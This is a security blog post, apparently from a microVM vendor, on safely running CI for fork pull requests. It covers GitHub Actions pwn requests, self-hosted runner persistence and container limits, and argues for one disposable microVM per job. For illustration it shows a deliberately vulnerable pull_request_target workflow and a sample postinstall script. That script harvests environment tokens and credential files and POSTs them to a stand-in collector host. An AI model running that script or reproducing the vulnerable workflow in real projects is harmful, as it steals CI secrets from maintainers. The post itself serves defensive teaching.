Fork-PR CI Without Getting Pwned: One microVM Per Job

Open source has a lovely social contract: a stranger reads your code, finds a bug, and sends you a fix. It also has an ugly technical consequence: the moment that fix lands as a pull request from a fork, your CI system volunteers to execute code written by someone you have never met, on a machine you own, with whatever credentials happen to be sitting in that job's environment. Everyone agrees this is fine right up until it isn't, and the industry has a name for the specific way it stops being fine — the pwn request.

I'm Ajay; I built PandaStack, a Firecracker microVM platform, and a large share of the CI questions I get are some version of "how do I run a contributor's branch without handing them the keys?" This post is the long answer: what actually goes wrong with fork PRs, why the two obvious fixes (a safer trigger, a self-hosted runner) each fail in their own way, why a container on a shared host kernel is not the boundary you think it is, and what changes when every fork-PR job gets its own disposable microVM. I'll also tell you when this is overkill, because for a lot of repos it genuinely is.

The pwn request: a trigger that means well

GitHub Actions gives you two triggers that fire on pull requests, and the difference between them is the whole ballgame. `pull_request` runs the workflow from the base repo's default configuration but in a restricted context: for PRs from forks, the `GITHUB_TOKEN` is read-only and repository secrets are not exposed. That restriction is deliberate and it is the single most important safety property in the entire system. It also breaks things maintainers want — you can't post a coverage comment, you can't push a preview deploy, you can't upload to a registry — so people go looking for a way around it, and they find `pull_request_target`.

`pull_request_target` runs the workflow definition from the base branch, in the base repository's context, with full secrets and a write-capable token. On its own that's defensible: the workflow file is yours, the fork can't change it. The trap is the very next thing everyone does, which is check out the pull request's head so the job has something to build. Now you have base-repo privileges executing fork-authored source, which is the exact configuration the phrase "pwn request" was coined to describe.

# .github/workflows/pr.yml -- DANGEROUS. Do not ship this.
name: pr-checks
on:
  pull_request_target:          # base-repo context: secrets + write token
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # This line is the vulnerability. It pulls the FORK's code --
      # attacker-controlled -- into a job that still holds your secrets.
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      # npm ci executes lifecycle scripts from the attacker's package.json
      # BEFORE a single test runs. So does a Makefile. So does a
      # conftest.py. So does anything the repo told you to trust.
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
          AWS_ROLE_ARN: ${{ secrets.AWS_ROLE_ARN }}

The safe version is boring, which is the point. Use `pull_request`, accept that fork PRs get no secrets, pin permissions down explicitly, and do the privileged half of the work in a separate workflow triggered by `workflow_run` after the untrusted build finishes — reading only its artifacts, never its code.

# .github/workflows/pr.yml -- the boring, correct version.
name: pr-checks
on:
  pull_request:                 # fork PRs: read-only token, NO secrets
    types: [opened, synchronize]

permissions:
  contents: read                # deny by default, grant per job

jobs:
  build:
    runs-on: ubuntu-latest      # GitHub-hosted + ephemeral, NOT self-hosted
    timeout-minutes: 20
    steps:
      - uses: actions/checkout@v4          # merge ref; no head.sha override
      - run: npm ci --ignore-scripts       # skip lifecycle hooks entirely
      - run: npm test
      - uses: actions/upload-artifact@v4   # hand results to a privileged
        with:                              # workflow_run job, not to this one
          name: pr-results
          path: ./results

Secrets don't leak from the diff you reviewed

Maintainers picture the attack as a malicious line of code in the source they're reviewing. It almost never is. The interesting surface is everything that executes before review even becomes relevant: package manager lifecycle hooks, a `Makefile` target your workflow calls, a `conftest.py` that pytest imports automatically, a Gradle build script, a git hook installed by a bootstrap step, a modified lockfile pointing a dependency at a fork. A pull request titled "fix typo in README" can carry all of these, and the diff view will happily collapse the lockfile churn for you.

# The entire payload, hiding in a first-time contributor's package.json
# as a "postinstall" hook. It never touches src/, so your review of the
# actual diff finds nothing.

tr '\0' '\n' < /proc/self/environ \
  | grep -Ei 'TOKEN|KEY|SECRET|PASSWORD|SESSION' > /tmp/loot

# Plus the stuff that isn't in the environment at all:
cat ~/.npmrc ~/.docker/config.json ~/.git-credentials 2>/dev/null >> /tmp/loot
cat "$GITHUB_EVENT_PATH" >> /tmp/loot          # often has more than you think

curl -s -X POST --data-binary @/tmp/loot https://collector.example.com/i

# Runtime: about 40 milliseconds. Exit code: 0. CI status: green.

Two details make this worse than it looks. First, GitHub's log masking hides known secret values from build output, which is genuinely useful and completely irrelevant here — the attacker isn't printing the token, they're POSTing it. Second, OIDC. Modern pipelines have moved away from long-lived static keys toward short-lived cloud credentials minted per job, which is a real improvement, but a job that can mint a credential can also mint one and hand it to whoever is running inside it. "Short-lived" limits the window; it does not create a boundary. Verify the exact token scoping behavior against GitHub's own docs for your setup — the details move, and they differ between public and private repos and between organization policies.

Self-hosted runners: now the compromise persists

The other common move is to bring CI in-house — self-hosted runners, because the builds need more RAM, or a GPU, or access to something inside the VPC. This is where fork PRs go from "a bad job" to "a bad afternoon." GitHub's own documentation is unusually blunt on this point: self-hosted runners are not recommended for public repositories, precisely because untrusted workflow code runs on a machine that outlives the job.

A default self-hosted runner is a long-lived process on a long-lived host. Whatever job ran last left things behind: files in the work directory, entries in the Docker image cache and layer store, a warm dependency cache, environment state, sometimes a background process nobody reaped. Job N can read what job N-1 left, and — the part that actually stings — job N can leave something for job N+1. Drop a shim earlier in `PATH`, poison the npm or pip cache, write a `~/.gitconfig` alias, and you're no longer stealing from the fork PR you control; you're waiting for the maintainer's next release build to run through your tooling with its full production credentials. Untrusted code got a foothold and then the trusted job walked into it.

And because the runner sits inside your network, its position is worth more than its filesystem. A cloud instance's metadata endpoint, an internal artifact registry, a staging database that's only firewalled to "the CI subnet" — all reachable from a job whose only job was to run `npm test` for a stranger. I've written more about the ephemerality half of this problem in /blog/ephemeral-github-actions-runners-firecracker; the short version is that a runner you keep is a runner you have to defend forever.

"We run each job in a container" — a polite suggestion to the kernel

So you containerize. Every job gets a fresh container, the filesystem is clean, the process tree is clean, problem solved. Except a container is not an isolation boundary in the sense you need here; it's a bundle of namespaces, cgroups, and seccomp filters layered over one shared host kernel. Every container on that host is issuing syscalls into the same kernel, and the entire security model rests on that kernel having no exploitable bugs in the syscalls you left reachable. A container is a polite suggestion to the kernel, and the kernel is under no obligation to be polite back.

In CI specifically the boundary is usually even softer than the theoretical one, because build jobs need things that punch holes in it. Docker-in-Docker, or bind-mounting `/var/run/docker.sock` so the job can build an image — that mount is root on the host with extra steps. Privileged mode for a test that needs `iptables`. A shared layer cache mounted into every job so builds are fast. Each is a reasonable engineering decision and each one hands part of the boundary back. There's a fuller treatment in /blog/why-docker-is-not-a-sandbox, but the summary is: containers are an excellent packaging and resource-management tool, and a mediocre answer to "a hostile stranger will run code in here."

The shape that works: one disposable microVM per fork-PR job

Give every fork-PR job its own Firecracker microVM — its own guest kernel, its own memory, its own virtual disk, its own network namespace, separated from the host by hardware virtualization. It's the same isolation model AWS Lambda uses to run untrusted code from millions of unrelated customers, which is a reasonable proof that it holds up under adversarial load. Four properties fall out, and they map one-to-one onto the failure modes above:

• A real kernel boundary. The contributor's postinstall script talks to a guest kernel that exists only for this job. Escaping to your host means breaking the hypervisor, not finding a namespace or seccomp gap — a categorically harder problem than the container escapes that show up every year.
• No secrets to steal. The untrusted job gets source code, a package manifest, and network access to a registry. Your npm token, your cloud role, your signing key: not present in that VM, so `/proc/self/environ` is a disappointment. Privileged steps run in a separate, trusted job that only ever consumes the untrusted job's artifacts.
• No persistence between jobs. The VM is created for one job and destroyed at the end of it. There is no next job to poison — no shared PATH, no shared Docker cache, no leftover daemon. Job N+1 restores the same clean baked snapshot job N started from, so the compromise has nowhere to live.
• Egress you control. The VM has its own network namespace, so "can reach npm and PyPI, cannot reach the metadata endpoint or the staging VPC" is a host-side rule the guest cannot argue with, rather than an honor system inside a shared network.

The historical objection is latency: a VM per job sounds like you've traded a 2-second container start for a 40-second boot, times every push, times every job in the matrix. That's what snapshot-restore removes. On PandaStack a sandbox isn't cold-booted — it's created by restoring a pre-baked snapshot on demand, p50 179ms and p99 203ms (the restore step itself is around 49ms; the rest is network and disk setup). The first-ever boot of a template is about 3 seconds, once, and everything after that is a restore. At sub-200ms, "fresh VM per job" costs less than the `actions/checkout` step you were already running.

What it looks like in code

Here's the untrusted half of a fork-PR pipeline: create a throwaway VM, write a build script into it, clone the contributor's head commit inside the guest, install and test with a hard wall-clock cap, and pull the results back out as data. Nothing privileged crosses into the guest — note what isn't in the environment. If the job goes rogue, the worst outcome is a failed check and a destroyed VM.

from pandastack import Sandbox

CI = """#!/bin/bash
set -euo pipefail
cd /work
# Clone the FORK at the exact head SHA. This is untrusted source; it is
# also the only thing in this VM worth anything to an attacker.
git clone --depth 1 "$FORK_URL" repo && cd repo
git fetch --depth 1 origin "$HEAD_SHA" && git checkout "$HEAD_SHA"

npm ci                 # lifecycle scripts CAN run here -- that's the point
npm test -- --reporter=json > /work/results.json
"""


def run_fork_pr_job(fork_url: str, head_sha: str, pr_number: int) -> str:
    """Run one fork PR's build in a VM that holds none of our secrets."""
    with Sandbox.create(
        template="base",
        ttl_seconds=1800,                       # backstop if we leak the handle
        metadata={"pr": str(pr_number), "sha": head_sha, "trust": "none"},
    ) as sbx:
        sbx.filesystem.write("/work/ci.sh", CI)

        # Only non-sensitive inputs cross the boundary. No NPM_TOKEN, no
        # cloud role, no GITHUB_TOKEN -- there is nothing here to exfiltrate.
        run = sbx.exec(
            f"FORK_URL={fork_url} HEAD_SHA={head_sha} bash /work/ci.sh",
            timeout_seconds=900,                # hard wall-clock cap
        )

        if run.exit_code != 0:
            # A normal red check. Post the logs on the PR and move on.
            return f"FAILED (exit {run.exit_code})\n{run.stderr[-4000:]}"

        # Results come back as DATA, parsed on our side. We never execute
        # anything the guest produced.
        return sbx.filesystem.read("/work/results.json").decode()
    # VM destroyed here: disk, memory, stray daemons, and any foothold
    # the contributor's postinstall script established. Nothing survives
    # into the next job, because there is no next job on this machine.

Matrix builds fan out the same way — one VM per cell, rather than one runner shared by all of them. The explicit-`kill` form is handy when you're managing several at once and want them reaped in a `finally` regardless of what blew up.

from pandastack import Sandbox

def run_matrix(fork_url: str, head_sha: str, jobs: list[str]) -> dict:
    """One VM per matrix cell. No shared kernel, cache, or filesystem."""
    boxes, out = [], {}
    try:
        for job in jobs:                        # e.g. lint, unit, e2e, build
            sbx = Sandbox.create(template="base", ttl_seconds=1800)
            boxes.append((job, sbx))

        for job, sbx in boxes:
            sbx.filesystem.write("/work/ci.sh", f"set -eux\ncd /work/repo\nnpm run {job}\n")
            r = sbx.exec(
                f"git clone --depth 1 {fork_url} /work/repo "
                f"&& git -C /work/repo checkout {head_sha} "
                f"&& bash /work/ci.sh",
                timeout_seconds=600,
            )
            out[job] = {"exit_code": r.exit_code, "log": r.stdout[-8000:]}
        return out
    finally:
        for _, sbx in boxes:
            sbx.kill()                          # reap every VM, always

Shared self-hosted runner vs. per-job microVM

Same workload, two topologies. Verify the specifics of any CI provider's token scoping, runner lifecycle, and container runtime against their own docs — behavior differs by version, plan, and org policy, and it changes.

• Isolation boundary — Shared self-hosted runner: namespaces and cgroups over one host kernel, often weakened by a mounted Docker socket or privileged mode; an escape is a kernel bug away. Per-job microVM: a separate guest kernel behind hardware virtualization, so an escape requires breaking the hypervisor.
• Secrets exposure — Shared self-hosted runner: the job's environment, the runner's disk, and cached credentials (~/.npmrc, ~/.docker/config.json) are all readable by whatever runs; masking hides values in logs, not from the process. Per-job microVM: the untrusted job holds no credentials at all — privileged steps run in a separate trusted job that consumes artifacts only.
• Persistence between jobs — Shared self-hosted runner: work directories, image layers, dependency caches, and stray processes survive; a poisoned PATH or cache waits for the next trusted build. Per-job microVM: created from a clean baked snapshot and destroyed at job end — there is nothing to poison and nothing to inherit.
• Network position — Shared self-hosted runner: sits inside your network with reach to metadata endpoints, internal registries, and VPC-firewalled staging. Per-job microVM: its own network namespace with host-enforced egress rules the guest can't override.
• Startup cost — Shared self-hosted runner: instant, because it's already running (which is precisely the problem). Per-job microVM: created by snapshot-restore at p50 179ms / p99 203ms, so a fresh VM per job is cheaper than the checkout step.
• Cleanup — Shared self-hosted runner: a maintenance job you write, test, and forget to update; failures are silent and cumulative. Per-job microVM: destroy the VM — memory, disk, and any surviving process die with it, with no scrub script to maintain.

Splitting the pipeline: untrusted build, trusted publish

The microVM handles containment; you still have to design the pipeline so nothing needs to cross the boundary. The split is: the untrusted job compiles, tests, and emits artifacts and a machine-readable report, and it receives nothing privileged. A second, trusted job — triggered after the first completes, running with your secrets, never checking out fork code — downloads those artifacts, parses the report, and does the privileged things: post a PR comment, publish a preview, upload coverage, sign a build.

The one rule to hold onto is that artifacts crossing that line are data, not code. Parse the JSON; don't `source` the shell script the guest wrote. Render the coverage numbers; don't execute the HTML report generator the untrusted job helpfully produced. Most of the residual bugs in otherwise-correct split pipelines are some flavor of the trusted side executing something the untrusted side authored. If your privileged half needs its own credential handling, /blog/secure-ci-secrets-microvm goes deeper on scoping secrets to the job that actually needs them.

When this is overkill

I'd rather you skip this than cargo-cult it. If your repository is private and every contributor already has write access, fork PRs aren't your threat model — a teammate who wants your CI secrets can simply push a branch. Use GitHub-hosted runners and spend the effort on something else. If your repo is public but you're on GitHub-hosted runners with `pull_request` and no `pull_request_target` anywhere in `.github/workflows`, you are already in decent shape: the runner is ephemeral and disposed of by GitHub, fork jobs get no secrets, and the residual risk is mostly cryptomining on someone else's compute. Adding your own VM layer buys you comparatively little.

The per-job microVM earns its place at a specific intersection: a public repo that accepts fork PRs, and builds that require self-hosted capacity — big memory, GPUs, licensed toolchains, network access to internal services, or hardware GitHub doesn't rent you. That combination is exactly the one GitHub warns against, and it's the one where the container-per-job answer quietly fails. It also earns its place if you're building CI as a product for other people, where "tenant A's build can influence tenant B's" isn't an incident, it's a business-ending headline.

And be honest about the costs, because there are some. You take on scheduling and capacity management that a hosted runner pool was handling for you. You lose the warm caches that shared runners give you for free, so you'll want a snapshot with dependencies pre-baked, or a cache mounted read-only into the guest, or you'll watch install times regress. Debugging is a step removed — you can't just SSH into the runner and poke around; you exec into a VM that may already be gone. Those are real trade-offs, and the reason I still think they're worth it is asymmetry: the cost is measured in engineering hours and a couple hundred milliseconds per job, and the thing it buys you is that a stranger's `postinstall` script becomes the least interesting file in your entire pipeline.